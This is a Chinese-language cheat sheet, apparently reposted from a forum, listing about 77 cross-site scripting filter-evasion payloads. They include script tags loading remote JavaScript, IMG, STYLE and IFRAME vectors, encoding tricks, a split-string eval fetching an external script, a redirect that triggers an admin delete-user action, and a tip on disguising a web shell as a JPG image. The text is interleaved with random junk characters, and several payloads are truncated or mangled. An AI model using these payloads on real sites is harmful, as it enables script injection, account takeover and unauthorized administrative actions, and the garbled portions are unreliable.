跨站图片shell& I4 `" ]' H8 A
XSS跨站代码 <script>alert("")</script>
5 Q6 B. t5 C% u) D" u, U6 O" ~3 f$ u7 w6 d
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马) X, b5 ~. l* I3 Q- i5 K$ e
9 N& `5 P# ~. C2 N+ Q' r6 ]9 W( @& F; s+ Y8 U$ K0 _
1 J$ _8 q4 n. H1)普通的XSS JavaScript注入' e/ q X' I6 B. ?
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
+ M- m) s6 g, D! P0 y( a# y. q% m! l( m+ V5 e
(2)IMG标签XSS使用JavaScript命令
( e) V) D2 Q) y( |! H1 @<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 D4 |( r7 b( y
9 H: V0 K, x$ C4 `5 y V(3)IMG标签无分号无引号
& a! ?4 _9 P5 W2 p+ r: f<IMG SRC=javascript:alert(‘XSS’)>9 M9 U E* H$ Y0 W% A& ]
* e: J0 |7 L3 x( d# u2 \(4)IMG标签大小写不敏感
) x% T/ J" j+ b; ]0 I<IMG SRC=JaVaScRiPt:alert(‘XSS’)>3 ^# O6 v, [& S4 X- G9 t; {
7 }) q! L+ A5 d
(5)HTML编码(必须有分号)
$ v- a6 F! k+ j<IMG SRC=javascript:alert(“XSS”)>2 U/ o" {9 Z( B/ u' s5 u
! Z$ i0 I! q8 Q% ] c2 X P
(6)修正缺陷IMG标签* j! z8 G' W& W
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
$ \' P5 u0 Y/ p+ M
; \5 D4 _" a7 y- ]" R(7)formCharCode标签(计算器)& Y' B8 L. {5 O% r( R$ z. [- }% i
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>5 \: c' I" i; `6 A" T# X) [* _
( K8 E2 Q/ c+ m# i$ n! }& q, C
(8)UTF-8的Unicode编码(计算器)
6 N' h* h, [3 k- n5 w<IMG SRC=jav..省略..S')>
1 `* O8 U) ]1 \! v9 g. q& @
) m4 k4 d+ c( a; i(9)7位的UTF-8的Unicode编码是没有分号的(计算器)) n5 @/ T: @ ]* N
<IMG SRC=jav..省略..S')>
2 T6 Z/ x4 v. C! v4 y Y Q
9 E% X0 y1 r" r3 X `5 C* N( u(10)十六进制编码也是没有分号(计算器)
7 e' \7 e* Z! _- p1 S0 M<IMG SRC=java..省略..XSS')>% Z0 q5 c4 I4 }$ r7 x
" g# k! }. ~' E/ ^% f
(11)嵌入式标签,将Javascript分开% O/ _* D" n) d5 @" f5 W% n
<IMG SRC=”jav ascript:alert(‘XSS’);”> I! u; [+ b/ u7 J0 R+ }9 ?0 d
) K0 X) w' G" a$ M% s(12)嵌入式编码标签,将Javascript分开5 \2 L1 L6 t* T F
<IMG SRC=”jav ascript:alert(‘XSS’);”>
4 j4 ~: B4 Z n# ^
& _8 X! Y/ N+ b. z4 e' v+ B(13)嵌入式换行符1 m ?& O2 E5 S# Q$ I
<IMG SRC=”jav ascript:alert(‘XSS’);”>
) m% i4 g0 l4 z) d/ F x/ R; d* V. c/ }
(14)嵌入式回车
# B2 f2 J* e0 q, B1 j<IMG SRC=”jav ascript:alert(‘XSS’);”>/ `4 E: P/ V' b7 r$ ^3 ?' ~
# g- L. I, E s( Z/ h# A6 z(15)嵌入式多行注入JavaScript,这是XSS极端的例子
1 s3 u9 [- l! v! @ @+ d3 Y2 X8 U k<IMG SRC=”javascript:alert(‘XSS‘)”>
+ q8 w1 i5 Z7 K! N/ M$ z: E
. C' c% B. g- | R% R% v(16)解决限制字符(要求同页面)" e* q, r0 E% r: |
<script>z=’document.’</script>; m: ~3 Y) G3 i0 t/ \) B" i' z/ N) P# p
<script>z=z+’write(“‘</script>
2 D/ z7 x) k/ N, N+ m<script>z=z+’<script’</script>
! \, l) S* D' h3 ]3 X<script>z=z+’ src=ht’</script># C; j& [7 Y" P- E. o
<script>z=z+’tp://ww’</script>
" I0 u- w2 }4 `( X; E, r<script>z=z+’w.shell’</script>
+ g7 f# W& z' B% y<script>z=z+’.net/1.’</script>
- R1 }- v4 m) y! s0 i<script>z=z+’js></sc’</script>" e- F3 a& a( z/ x
<script>z=z+’ript>”)’</script>
+ Q4 h# q1 v' B- p5 u8 `1 z: \<script>eval_r(z)</script>
k" {6 `9 ]& s9 w" }
& i/ D' A" R# V" h) J+ [! D(17)空字符7 @: r% A8 Q2 t1 h6 R h% q3 w
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
- @- ]) e2 _% t7 Q) m3 e. X6 m$ m- P. X& h3 T
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用6 O& F Y* r3 R( e$ M8 r3 `
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out5 K! X- o% l A ^0 K
: u+ B s2 N+ n7 m4 O1 G(19)Spaces和meta前的IMG标签4 [: s2 v# t5 y& v- P, L3 `7 e
<IMG SRC=” javascript:alert(‘XSS’);”>
# h; e; n. W; r& o* C5 i, T' u% M. \$ Q
(20)Non-alpha-non-digit XSS
4 D3 d+ T" p0 |+ T |' i7 l<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
' N3 @4 v) d" r* f6 P; F7 @$ _
* P7 Z" `: _1 L9 f+ }( E6 G' z(21)Non-alpha-non-digit XSS to 2/ p9 |! O% [, z5 Q5 _# C$ @" ~
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>: P. x7 n2 z! K3 P) W. z9 e
9 k' \( B* A) o2 X. `0 `" D
(22)Non-alpha-non-digit XSS to 3
7 ^' x" w% }, c9 |0 I { z<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
^. E' ]$ C; |7 S" F k
0 I% b+ j" I' J# E2 \$ ]/ `+ w(23)双开括号 a# H8 ^2 |* }6 c
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
2 C' E! B* M4 H( j2 Q+ ~& i3 ^1 ^; V0 ]. z) V: u% x: _/ q( Q
(24)无结束脚本标记(仅火狐等浏览器)2 q n8 G! _1 B. P. F
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
. ?* p. t/ R- j) j# i
# c! w0 |6 s# }* V) k8 u. _(25)无结束脚本标记2. s: e$ M5 J' |# u0 w6 f' K I9 |
<SCRIPT SRC=//3w.org/XSS/xss.js>' u# }2 q4 Y1 U3 C
3 _$ _* Y7 x! z+ b. c(26)半开的HTML/JavaScript XSS# f& M- Q: L) X6 ]- d3 I
<IMG SRC=”javascript:alert(‘XSS’)”* s$ v' R" `! M9 D- M$ S9 N
$ G; u" o, @5 o, e b& M- k* k(27)双开角括号) V) @$ ?, H0 f% w* }1 Q& m
<iframe src=http://3w.org/XSS.html <
3 J; O+ Q8 g: U, j( p) f7 W6 f# W9 @
(28)无单引号 双引号 分号) o/ I# Q/ j, x# P; k8 J9 {
<SCRIPT>a=/XSS/
* L0 I1 {0 O, E% zalert(a.source)</SCRIPT>
4 G) r4 [- P! ^& ^: ^+ z! g/ e% y
(29)换码过滤的JavaScript6 [, S' k2 U5 P8 \
\”;alert(‘XSS’);//
# j' v0 P" y5 z/ G% O/ i2 U! Y# k7 P: n9 ~7 P4 c
(30)结束Title标签& N+ _. G: v) n# g' ^
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>6 t1 ?& T2 N$ f4 `3 Q! J0 X
* N. X: G: e& l7 ](31)Input Image8 R2 @# U* V4 x0 L1 J
<INPUT SRC=”javascript:alert(‘XSS’);”>
: F- p) E3 { W/ h4 U4 C; q0 d7 ]9 {+ c# a
(32)BODY Image
4 [ J8 P2 E1 ]/ }) Q! s9 x<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
0 w; W& s6 d; ]
+ o1 W8 P5 G- h; @(33)BODY标签
: f. [/ g, Y; I: |% A* X<BODY(‘XSS’)>; |$ P3 H- H* m$ Z
7 b, e2 D/ I0 T( n9 r$ A
(34)IMG Dynsrc: m1 |) D0 S4 K7 J6 r' x
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
- K+ m1 h: ^' \8 n' W# l, K$ a: c m
/ X; U* i( q* C" a(35)IMG Lowsrc
/ B. K' a3 M8 e; q6 O<IMG LOWSRC=”javascript:alert(‘XSS’)”>
, F" E+ m) e% y4 m+ |. z; M! L V- k6 i; [1 L6 G/ `5 J
(36)BGSOUND# p9 ^+ I4 o$ V. A
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
& t s- l( h% Z$ _, P% |
' T( t' q Q+ ~(37)STYLE sheet
y: D& g% I6 ]2 F$ t$ Z<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>" P: O! G" a; p
" O6 d1 C u# I3 P; l2 ^(38)远程样式表
" I/ `5 r1 C: q4 Y: n+ e) g<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
: q! S3 }* g0 c0 O( ~ K% K
4 T. w1 R+ C1 a(39)List-style-image(列表式)) Z9 S9 N8 C9 `7 J$ h, M
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
5 k' \. }8 u3 g/ G5 l' {3 u" X0 x$ U& _0 y$ o2 z0 H
(40)IMG VBscript
! }: o; S/ A f<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS& x% k, f8 l# b' w A
4 J$ j3 ?# l6 F1 f
(41)META链接url* W) n' \ g# R% Z% [8 V) {
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>6 S! k) `1 T4 U3 Y& I4 s
0 y/ v" p0 V2 C' ~2 |* [
(42)Iframe# k% d; q/ Z: e' g. a" ^! @* I* Y
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>$ D9 J* H- [" q7 P5 U, e0 z
(43)Frame- X a# l& T- A( F4 u) a' ?7 e
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET># i! N! H" ^6 d v8 u
5 E* z$ L7 f2 j# C- g2 O- ~(44)Table
3 j) r# F3 B- H+ C<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>( W" B6 F+ m( [$ w% {* C `0 ~2 f
) q' P+ `3 Q$ d2 }0 X5 c; n
(45)TD
; u4 P5 X2 y' } P& I<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>9 n* H7 d8 M' z( Y! ?
: P. ]$ [7 h& n# w4 h/ ](46)DIV background-image
: D$ S p2 P. G: \) f8 _<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
& C9 ~- ?0 T# n$ ^/ f# l; ~+ p$ s# r4 _$ f8 _" m$ f9 e- F9 I
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
% s+ L; u# w8 ]$ V<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>* E1 f0 `$ A4 B) U0 L6 G
" D. p# }7 g; U: j0 |3 [(48)DIV expression
S9 N4 T9 @! u9 b7 [<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
1 u# X! u6 A9 K0 q7 s
3 ]3 T: q( ~% P" I- d) c(49)STYLE属性分拆表达
' j8 Y) \7 X8 O2 B- E9 r; s<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
, @3 W9 v( |# ]: [5 ?
" i S7 H; { O0 x- |( Y(50)匿名STYLE(组成:开角号和一个字母开头)/ t' u; E6 i" j' B
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>2 M J' K5 C# D/ e- u& [6 o
; Y! P9 ~& r, t& F
(51)STYLE background-image
% I4 t9 S {8 D<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>$ v6 E8 p: u5 v
" c# |, e$ n4 G0 R2 n
(52)IMG STYLE方式( S: H" {0 v( M1 ]' `. h
exppression(alert(“XSS”))’>
d! @2 W7 i. _+ ^! F9 Q/ ?9 h$ H
4 J- ]4 C5 D3 @- b0 Y0 u+ I; Y(53)STYLE background Q5 K! [- T7 H; l; i2 P
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>0 d, @& @, Q* D( ^
8 E# h `, {1 K9 W) l+ ]
(54)BASE
; H7 M' O3 {: b: x<BASE HREF=”javascript:alert(‘XSS’);//”>' n' |' |6 O2 G8 ~2 M) ` H _" k
: T4 a$ u, Q7 S3 {" r6 p
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS/ T! d* M4 c9 @6 m( T
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>' `8 [4 [ b, Z5 D; |+ `
& _$ Z# M. D, H/ W(56)在flash中使用ActionScrpt可以混进你XSS的代码+ e: V, L/ z$ D- i' {
a=”get”;
* N# r4 v+ D2 d; {& t- ?7 Jb=”URL(\”";
: W; _- {. D, S1 P! t7 d% E& Vc=”javascript:”;
! X! _' M9 U( b" m) Y3 dd=”alert(‘XSS’);\”)”;2 H2 C. ^7 h5 L B3 t2 n
eval_r(a+b+c+d);) J* G+ x, I0 F. @- ^6 i
+ T( i' \- k( S, h
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上: K' l g3 ] I8 ^; B
<HTML xmlns:xss>- S9 O: l" `& v. K6 [- i
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>9 M/ L* B! Y! M
<xss:xss>XSS</xss:xss>5 e) G7 ?5 q! N$ l' R
</HTML>. b' ~5 v1 i- u9 Q" W- F/ w
' ^1 o3 m. i! @# @; y; H1 U' q5 P) o
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
! Q3 s8 ^% T2 [' k% }<SCRIPT SRC=””></SCRIPT>; l( k2 z% e% N* F- Q2 ~/ M' W6 ?
1 Y; u% I/ u( ?& `/ [# _. X
(59)IMG嵌入式命令,可执行任意命令8 L9 W8 y9 f0 T9 ]' b# L2 g
<IMG SRC=”http://www.XXX.com/a.php?a=b”>& F7 ]( }/ K9 B5 V, l9 D
5 C; y3 u4 S, N7 M2 I
(60)IMG嵌入式命令(a.jpg在同服务器)
( R5 \( p; t# u5 iRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser! }0 A+ h2 w) j5 s0 f1 d
0 S& @% c; h$ ~5 {% ~2 h(61)绕符号过滤1 |' J9 L! ~0 w7 r7 p
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
' u1 R/ J# }, q0 t' _- N8 v6 j
+ M+ I& W. Y7 O" q) @(62)* E. o" k7 r" U; G" U8 L
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>& ^3 N! [2 Z) s2 y' h8 S/ @# [
1 A# r& o7 |% M4 B0 \& Q# [: A
(63)7 l7 u, Q7 c+ C9 T6 W
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
% r6 F/ n8 }7 k* k: F
7 [ O5 K9 z9 }; q) g- h6 b6 z(64)
6 M; [' Q) @3 R- C- d. \" @6 |<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>3 g' D3 W/ {. Q1 Y! K' K/ V
3 P" {& F* t' D; K0 G4 X! i
(65)
) \3 M& G5 C) d% T& s# {, J$ _<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>* j0 H$ i6 i) h# Y5 j4 }
$ v# G& ^4 X% ~2 U0 D9 f
(66)2 w0 o4 g) A6 _2 f. V
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
& _) l" I% H ]/ @! X) h- y( S+ H% [, |, w& ?1 n
(67)6 r8 f+ L, }. T" v
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
: P' N0 x* D: ]- i9 V2 g; o2 f, L
) ?# y6 m9 T/ E' [7 L1 C(68)URL绕行9 |" w. D8 }! a- z3 `, H
<A HREF=”http://127.0.0.1/”>XSS</A>
/ b F M C" G' A3 g. P* q! H! i6 U$ R! e1 W, k* N
(69)URL编码3 e6 X- F y0 \, Z6 ?/ k' w; @
<A HREF=”http://3w.org”>XSS</A>! q3 X& n! F: O5 }
0 g& e. B4 _/ ~# C(70)IP十进制
- H; j1 C/ L7 W$ m$ a! {<A HREF=”http://3232235521″>XSS</A>) h' _: Z! T( z5 R: V4 c* A: W
9 |1 p6 u$ w7 d- \5 a
(71)IP十六进制& w1 p' ?. n" Y. ~
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>, l) e% V+ L" v0 w) W
L2 ^& j7 |: I# @% ]7 H; P; M
(72)IP八进制+ z, V' V. N0 i8 z F3 a% h! ~8 G) y( p
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
' m1 J. J' k# p% M- D6 L E, R2 A, n/ z5 a& N$ K0 O q7 Z
(73)混合编码
' _) B& R a0 T& V. d2 Y<A HREF=”h
( h4 p! Z: ` ^+ c' t! f- G$ vtt p://6 6.000146.0×7.147/”">XSS</A>8 d) W; q5 w5 q
2 O# X% o$ d( @& O/ ]* ~(74)节省[http:]9 @7 `0 U: }6 G3 V3 x4 m: z3 R0 I
<A HREF=”//www.google.com/”>XSS</A>
$ T# O: E0 m2 n- v; Y8 r
- @" [* ?+ u! p(75)节省[www]' ]9 ]3 U2 F, Q4 s: U$ t, R) Y: J
<A HREF=”http://google.com/”>XSS</A>' E" W, ?, T) a5 i) ?! ^ A) ]) R# f
- v, a$ X+ x C4 m4 O: V3 B5 v
(76)绝对点绝对DNS
( @3 G/ L8 J9 e8 k% ?' j. [<A HREF=”http://www.google.com./”>XSS</A>& ]) m) e# Z3 A' v3 Q( Z) g3 |* `
6 r9 ^/ W2 a7 H" l5 `. o
(77)javascript链接9 ~& u, |' M: S, g& _5 {) e9 m
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>9 N7 X/ N4 V4 J7 h; \9 w
|